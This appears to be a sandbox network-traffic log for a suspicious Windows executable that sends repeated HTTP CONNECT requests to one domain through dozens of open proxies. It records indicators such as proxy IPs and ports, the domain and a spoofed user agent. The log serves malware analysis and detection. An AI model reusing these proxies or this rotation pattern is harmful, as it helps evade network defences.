Mar 11, 2024 15:21:01.646565914 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:01.800812006 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:01 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.9	49784	123.126.158.50	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:01.651508093 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.9	49818	216.137.184.253	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:01.678335905 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.387584925 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.434479952 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:05.132246971 CET	536	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 14:21:04 GMT Server: Apache Strict-Transport-Security: max-age=63072000; includeSubDomains X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Length: 663 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to co
Mar 11, 2024 15:21:05.132374048 CET	429	IN	Data Raw: 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 72 6f 6f 74 40 73 65 72 76 Data Ascii: mpleteyour request.</p><p>Please contact the server administrator at root@server.sena.cl to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.9	49803	103.231.78.36	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:01.680175066 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.434545994 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.9	49974	104.16.221.57	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:01.702573061 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:01.856985092 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:01 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.9	50114	4.182.9.108	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:01.707473993 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.9	49994	104.23.125.117	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:01.723601103 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:01.878072023 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:01 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.9	49952	51.222.241.157	51718	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:01.743772030 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.278196096 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.965728998 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.9	49934	184.178.172.14	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:01.746365070 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.9	49886	31.24.44.92	50109	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:01.746365070 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.418853045 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.387660027 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.9	50002	38.54.101.254	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:01.750418901 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.927386999 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.9	49872	65.109.163.154	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:01.753254890 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:17.654169083 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:17 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.9	49881	94.131.14.66	1081	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:01.764127970 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.9	49834	119.3.215.41	8888	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:01.764127970 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.9	49892	160.16.90.35	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:01.764537096 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.450092077 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.403325081 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.820830107 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.9	50038	45.14.174.180	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:01.767273903 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:01.921504021 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:01 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.9	49830	36.92.193.189	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:01.773063898 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:05.567517042 CET	818	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 14:21:05 GMT Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Connection: close Content-Type: text/html; charset=utf-8 Content-Language: en Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 0d 0a 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 53 65 72 76 65 72 20 65 72 72 6f 72 21 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 6c 69 6e 6b 20 72 65 76 3d 22 6d 61 64 65 22 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 69 6e 66 6f 40 72 73 68 62 2d 6c 61 6d 70 75 6e 67 2e 63 6f 2e 69 64 22 20 2f 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 2f 2a 2d 2d 3e 3c 21 5b 43 44 41 54 41 5b 2f 2a 3e 3c 21 2d 2d 2a 2f 20 0d 0a 20 20 20 20 62 6f 64 79 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 46 46 46 46 46 3b 20 7d 0d 0a 20 20 20 20 61 3a 6c 69 6e 6b 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 43 43 3b 20 7d 0d 0a 20 20 20 20 70 2c 20 61 64 64 72 65 73 73 20 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 33 65 6d 3b 7d 0d 0a 20 20 20 20 73 70 61 6e 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 73 6d 61 6c 6c 65 72 3b 7d 0d 0a 2f 2a 5d 5d 3e 2a 2f 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 53 65 72 76 65 72 20 65 72 72 6f 72 21 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"><head><title>Server error!</title><link rev="made" href="mailto:info@rshb-lampung.co.id" /><style type="text/css">.../--><![CDATA[/>.../ body { color: #000000; background-color: #FFFFFF; } a:link { color: #0000CC; } p, address {margin-left: 3em;} span {font-size: smaller;}/...*/--></style></head><body><h1>Server error!
Mar 11, 2024 15:21:05.567575932 CET	486	IN	Data Raw: 3c 2f 68 31 3e 0d 0a 3c 70 3e 0d 0a 0d 0a 0d 0a 20 20 0d 0a 0d 0a 20 20 20 20 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 61 6e 64 20 77 61 73 20 0d 0a 20 20 20 20 75 Data Ascii: </h1><p> The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there was an error in a CGI script. </p><p>If you think this is a server err

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.9	49893	39.108.229.14	8002	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:01.781755924 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.116334915 CET	767	IN	HTTP/1.1 403 Forbidden Server: Beaver Cache-Control: no-cache Content-Type: text/html Content-Length: 635 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 39 30 38 33 31 34 30 35 30 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003908314050"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.9	49868	103.118.46.61	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
